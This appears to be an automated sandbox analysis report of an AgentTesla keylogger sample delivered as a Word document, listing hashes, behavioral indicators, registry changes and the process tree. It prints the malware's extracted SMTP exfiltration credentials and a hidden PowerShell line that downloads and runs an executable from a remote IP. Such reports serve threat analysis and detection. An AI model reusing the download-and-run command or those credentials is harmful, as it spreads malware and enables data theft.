agenttesla | 69ac0d42dce05bcd01273fc11a1a73fa7d6ab446ef129677940a328aa8f1e4d2

General

Target

IMG_057_163_22.doc
Size

183KB
MD5

49ad6fb2dca5d329f6c458ebb172f35f
SHA1

814e7ee66ade2d0b7eeca2f4c655709939b31ac9
SHA256

69ac0d42dce05bcd01273fc11a1a73fa7d6ab446ef129677940a328aa8f1e4d2
SHA512

310e428d16cbb69d2e48c18193716481e5db09c985438bbe1049140a3ff4c5c77aa5ffd83f9343784ee9bb5be7b572e565f04c0c1109b59cae6923976a2a35dd

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
sixjan.club
Port:
587
Username:
andle@sixjan.club
Password:
j&2^(}d4gD}u

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

AgentTesla Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/684-106-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla
behavioral1/memory/684-107-0x000000000043761E-mapping.dmp	family_agenttesla
behavioral1/memory/684-110-0x0000000000400000-0x000000000043C000-memory.dmp	family_agenttesla

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 1792 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

nationalartist.exenationalartist.exe

pid process

1176 nationalartist.exe
684 nationalartist.exe
Loads dropped DLL 4 IoCs

Processes:

powershell.exenationalartist.exe

pid process

1792 powershell.exe
1792 powershell.exe
1792 powershell.exe
1176 nationalartist.exe

flow	pid	process
5	1792	powershell.exe

pid	process
1176	nationalartist.exe
684	nationalartist.exe

pid	process
1792	powershell.exe
1792	powershell.exe
1792	powershell.exe
1176	nationalartist.exe

Drops file in System32 directory 5 IoCs

Processes:

OUTLOOK.EXEpowershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\PerfStringBackup.TMP	OUTLOOK.EXE
File opened for modification	C:\Windows\SysWOW64\PerfStringBackup.INI	OUTLOOK.EXE
File created	C:\Windows\system32\perfc009.dat	OUTLOOK.EXE
File created	C:\Windows\system32\perfh009.dat	OUTLOOK.EXE
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

nationalartist.exe

description pid process target process

PID 1176 set thread context of 684 1176 nationalartist.exe nationalartist.exe

description	pid	process	target process
PID 1176 set thread context of 684	1176	nationalartist.exe	nationalartist.exe

Drops file in Windows directory 4 IoCs

Processes:

OUTLOOK.EXEWINWORD.EXE

description	ioc	process
File created	C:\Windows\inf\Outlook\0009\outlperf.ini	OUTLOOK.EXE
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE
File created	C:\Windows\inf\Outlook\outlperf.h	OUTLOOK.EXE
File opened for modification	C:\Windows\inf\Outlook\outlperf.h	OUTLOOK.EXE

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

OUTLOOK.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006307B-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063099-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672F6-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006302B-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006309C-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063042-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304E-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672FA-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063007-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630DC-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063089-0000-0000-C000-000000000046}\ = "Link"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006300C-0000-0000-C000-000000000046}\ = "_Results"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063094-0000-0000-C000-000000000046}\ = "_AutoFormatRules"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006F025-0000-0000-C000-000000000046}\ = "_DRecipientControl"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672F9-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063043-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630D7-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630DD-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006304E-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063097-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006309A-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672E0-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672FB-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063036-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063059-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063022-0000-0000-C000-000000000046}\ = "_JournalItem"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063095-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063034-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006303A-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063083-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063075-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006309E-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{50BB9B50-811D-11CE-B565-00AA00608FAA}\TypeLib	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006303E-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063107-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063104-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063038-0000-0000-C000-000000000046}\ = "_TaskRequestAcceptItem"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006302B-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630C4-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006300B-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630B0-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063070-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006309E-0000-0000-C000-000000000046}	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672EB-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063103-0000-0000-C000-000000000046}\ = "_AccountSelector"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630F0-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630F4-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00067367-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630B2-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630CB-0000-0000-C000-000000000046}	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006307D-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00067356-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006303C-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630D2-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063101-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063085-0000-0000-C000-000000000046}\TypeLib\Version = "9.4"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006300A-0000-0000-C000-000000000046}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672EE-0000-0000-C000-000000000046}\ = "OlkBusinessCardControlEvents"	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000672FB-0000-0000-C000-000000000046}\TypeLib\ = "{00062FFF-0000-0000-C000-000000000046}"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{000630F0-0000-0000-C000-000000000046}\TypeLib	OUTLOOK.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063081-0000-0000-C000-000000000046}\ = "_DistListItem"	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00063107-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{00067366-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0006303E-0000-0000-C000-000000000046}\ProxyStubClsid32	OUTLOOK.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1612 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exenationalartist.exenationalartist.exe

pid process

1792 powershell.exe
1176 nationalartist.exe
1176 nationalartist.exe
684 nationalartist.exe
684 nationalartist.exe

pid	process
1612	WINWORD.EXE

pid	process
1792	powershell.exe
1176	nationalartist.exe
1176	nationalartist.exe
684	nationalartist.exe
684	nationalartist.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exeOUTLOOK.EXEnationalartist.exenationalartist.exe

description	pid	process
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeShutdownPrivilege	1444	OUTLOOK.EXE
Token: SeDebugPrivilege	1176	nationalartist.exe
Token: SeDebugPrivilege	684	nationalartist.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

OUTLOOK.EXE

pid process

1444 OUTLOOK.EXE
1444 OUTLOOK.EXE
1444 OUTLOOK.EXE
1444 OUTLOOK.EXE
1444 OUTLOOK.EXE
1444 OUTLOOK.EXE
Suspicious use of SendNotifyMessage 5 IoCs

Processes:

OUTLOOK.EXE

pid process

1444 OUTLOOK.EXE
1444 OUTLOOK.EXE
1444 OUTLOOK.EXE
1444 OUTLOOK.EXE
1444 OUTLOOK.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

WINWORD.EXEOUTLOOK.EXE

pid process

1612 WINWORD.EXE
1612 WINWORD.EXE
1444 OUTLOOK.EXE

pid	process
1444	OUTLOOK.EXE
1444	OUTLOOK.EXE
1444	OUTLOOK.EXE
1444	OUTLOOK.EXE
1444	OUTLOOK.EXE
1444	OUTLOOK.EXE

pid	process
1444	OUTLOOK.EXE
1444	OUTLOOK.EXE
1444	OUTLOOK.EXE
1444	OUTLOOK.EXE
1444	OUTLOOK.EXE

pid	process
1612	WINWORD.EXE
1612	WINWORD.EXE
1444	OUTLOOK.EXE

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

OUTLOOK.EXEpowershell.exeWINWORD.EXEnationalartist.exe

description	pid	process	target process
PID 1444 wrote to memory of 1792	1444	OUTLOOK.EXE	powershell.exe
PID 1444 wrote to memory of 1792	1444	OUTLOOK.EXE	powershell.exe
PID 1444 wrote to memory of 1792	1444	OUTLOOK.EXE	powershell.exe
PID 1444 wrote to memory of 1792	1444	OUTLOOK.EXE	powershell.exe
PID 1792 wrote to memory of 1176	1792	powershell.exe	nationalartist.exe
PID 1792 wrote to memory of 1176	1792	powershell.exe	nationalartist.exe
PID 1792 wrote to memory of 1176	1792	powershell.exe	nationalartist.exe
PID 1792 wrote to memory of 1176	1792	powershell.exe	nationalartist.exe
PID 1612 wrote to memory of 1940	1612	WINWORD.EXE	splwow64.exe
PID 1612 wrote to memory of 1940	1612	WINWORD.EXE	splwow64.exe
PID 1612 wrote to memory of 1940	1612	WINWORD.EXE	splwow64.exe
PID 1612 wrote to memory of 1940	1612	WINWORD.EXE	splwow64.exe
PID 1176 wrote to memory of 684	1176	nationalartist.exe	nationalartist.exe
PID 1176 wrote to memory of 684	1176	nationalartist.exe	nationalartist.exe
PID 1176 wrote to memory of 684	1176	nationalartist.exe	nationalartist.exe
PID 1176 wrote to memory of 684	1176	nationalartist.exe	nationalartist.exe
PID 1176 wrote to memory of 684	1176	nationalartist.exe	nationalartist.exe
PID 1176 wrote to memory of 684	1176	nationalartist.exe	nationalartist.exe
PID 1176 wrote to memory of 684	1176	nationalartist.exe	nationalartist.exe
PID 1176 wrote to memory of 684	1176	nationalartist.exe	nationalartist.exe
PID 1176 wrote to memory of 684	1176	nationalartist.exe	nationalartist.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\IMG_057_163_22.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1940

C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\OUTLOOK.EXE" -Embedding
1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1444

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w Hidden Invoke-WebRequest -Uri "http://31.210.20.6/w2/fgmq.exe" -OutFile "C:\Users\Public\Documents\nationalartist.exe";C:\Users\Public\Documents\nationalartist.exe
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1792

C:\Users\Public\Documents\nationalartist.exe
"C:\Users\Public\Documents\nationalartist.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1176

C:\Users\Admin\AppData\Local\Temp\nationalartist.exe
C:\Users\Admin\AppData\Local\Temp\nationalartist.exe
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:684

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\nationalartist.exe
MD5
355160860209999220faf31b76ba7a80

SHA1
cf78e87db6597bdefc57cb7892e563f0eaad3b5d

SHA256
19368f9d401db77bd90b14b17b435c319e7fefb557920323d5ed954057d53e76

SHA512
f60aaef5f172aeec75ad65c07b6b2d94c81c2c7325ba76b3cfe08ff6ea54684c9bcf70f2e556840a3620a2dd96e3f26aeb912fb358ce37ef368de7852749c213

Download Submit
C:\Users\Admin\AppData\Local\Temp\nationalartist.exe
MD5
355160860209999220faf31b76ba7a80

SHA1
cf78e87db6597bdefc57cb7892e563f0eaad3b5d

SHA256
19368f9d401db77bd90b14b17b435c319e7fefb557920323d5ed954057d53e76

SHA512
f60aaef5f172aeec75ad65c07b6b2d94c81c2c7325ba76b3cfe08ff6ea54684c9bcf70f2e556840a3620a2dd96e3f26aeb912fb358ce37ef368de7852749c213

Download Submit
C:\Users\Public\Documents\nationalartist.exe
MD5
355160860209999220faf31b76ba7a80

SHA1
cf78e87db6597bdefc57cb7892e563f0eaad3b5d

SHA256
19368f9d401db77bd90b14b17b435c319e7fefb557920323d5ed954057d53e76

SHA512
f60aaef5f172aeec75ad65c07b6b2d94c81c2c7325ba76b3cfe08ff6ea54684c9bcf70f2e556840a3620a2dd96e3f26aeb912fb358ce37ef368de7852749c213

Download Submit
C:\Users\Public\Documents\nationalartist.exe
MD5
355160860209999220faf31b76ba7a80

SHA1
cf78e87db6597bdefc57cb7892e563f0eaad3b5d

SHA256
19368f9d401db77bd90b14b17b435c319e7fefb557920323d5ed954057d53e76

SHA512
f60aaef5f172aeec75ad65c07b6b2d94c81c2c7325ba76b3cfe08ff6ea54684c9bcf70f2e556840a3620a2dd96e3f26aeb912fb358ce37ef368de7852749c213

Download Submit
\Users\Admin\AppData\Local\Temp\nationalartist.exe
MD5
355160860209999220faf31b76ba7a80

SHA1
cf78e87db6597bdefc57cb7892e563f0eaad3b5d

SHA256
19368f9d401db77bd90b14b17b435c319e7fefb557920323d5ed954057d53e76

SHA512
f60aaef5f172aeec75ad65c07b6b2d94c81c2c7325ba76b3cfe08ff6ea54684c9bcf70f2e556840a3620a2dd96e3f26aeb912fb358ce37ef368de7852749c213

Download Submit
\Users\Public\Documents\nationalartist.exe
MD5
355160860209999220faf31b76ba7a80

SHA1
cf78e87db6597bdefc57cb7892e563f0eaad3b5d

SHA256
19368f9d401db77bd90b14b17b435c319e7fefb557920323d5ed954057d53e76

SHA512
f60aaef5f172aeec75ad65c07b6b2d94c81c2c7325ba76b3cfe08ff6ea54684c9bcf70f2e556840a3620a2dd96e3f26aeb912fb358ce37ef368de7852749c213

Download Submit
\Users\Public\Documents\nationalartist.exe
MD5
355160860209999220faf31b76ba7a80

SHA1
cf78e87db6597bdefc57cb7892e563f0eaad3b5d

SHA256
19368f9d401db77bd90b14b17b435c319e7fefb557920323d5ed954057d53e76

SHA512
f60aaef5f172aeec75ad65c07b6b2d94c81c2c7325ba76b3cfe08ff6ea54684c9bcf70f2e556840a3620a2dd96e3f26aeb912fb358ce37ef368de7852749c213

Download Submit
\Users\Public\Documents\nationalartist.exe
MD5
355160860209999220faf31b76ba7a80

SHA1
cf78e87db6597bdefc57cb7892e563f0eaad3b5d

SHA256
19368f9d401db77bd90b14b17b435c319e7fefb557920323d5ed954057d53e76

SHA512
f60aaef5f172aeec75ad65c07b6b2d94c81c2c7325ba76b3cfe08ff6ea54684c9bcf70f2e556840a3620a2dd96e3f26aeb912fb358ce37ef368de7852749c213

Download Submit
memory/684-112-0x0000000004B70000-0x0000000004B71000-memory.dmp

Filesize
4KB

Download
memory/684-110-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/684-107-0x000000000043761E-mapping.dmp

Download
memory/684-106-0x0000000000400000-0x000000000043C000-memory.dmp

Filesize
240KB

Download
memory/1176-101-0x00000000048D0000-0x000000000495A000-memory.dmp

Filesize
552KB

Download
memory/1176-96-0x0000000000C10000-0x0000000000C11000-memory.dmp

Filesize
4KB

Download
memory/1176-102-0x0000000004D40000-0x0000000004D91000-memory.dmp

Filesize
324KB

Download
memory/1176-92-0x0000000000000000-mapping.dmp

Download
memory/1176-98-0x0000000000600000-0x0000000000601000-memory.dmp

Filesize
4KB

Download
memory/1612-113-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1612-60-0x0000000070261000-0x0000000070263000-memory.dmp

Filesize
8KB

Download
memory/1612-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1612-59-0x00000000727E1000-0x00000000727E4000-memory.dmp

Filesize
12KB

Download
memory/1792-66-0x0000000000940000-0x0000000000941000-memory.dmp

Filesize
4KB

Download
memory/1792-80-0x0000000006240000-0x0000000006241000-memory.dmp

Filesize
4KB

Download
memory/1792-70-0x0000000002590000-0x0000000002591000-memory.dmp

Filesize
4KB

Download
memory/1792-71-0x0000000004950000-0x0000000004951000-memory.dmp

Filesize
4KB

Download
memory/1792-81-0x0000000006370000-0x0000000006371000-memory.dmp

Filesize
4KB

Download
memory/1792-88-0x0000000006460000-0x0000000006461000-memory.dmp

Filesize
4KB

Download
memory/1792-74-0x0000000005830000-0x0000000005831000-memory.dmp

Filesize
4KB

Download
memory/1792-79-0x000000007EF20000-0x000000007EF21000-memory.dmp

Filesize
4KB

Download
memory/1792-68-0x0000000004A60000-0x0000000004A61000-memory.dmp

Filesize
4KB

Download
memory/1792-67-0x0000000004AA0000-0x0000000004AA1000-memory.dmp

Filesize
4KB

Download
memory/1792-69-0x0000000004A62000-0x0000000004A63000-memory.dmp

Filesize
4KB

Download
memory/1792-65-0x0000000075D51000-0x0000000075D53000-memory.dmp

Filesize
8KB

Download
memory/1792-64-0x0000000000000000-mapping.dmp

Download
memory/1792-89-0x0000000006530000-0x0000000006531000-memory.dmp

Filesize
4KB

Download
memory/1940-100-0x000007FEFBC31000-0x000007FEFBC33000-memory.dmp

Filesize
8KB

Download
memory/1940-99-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads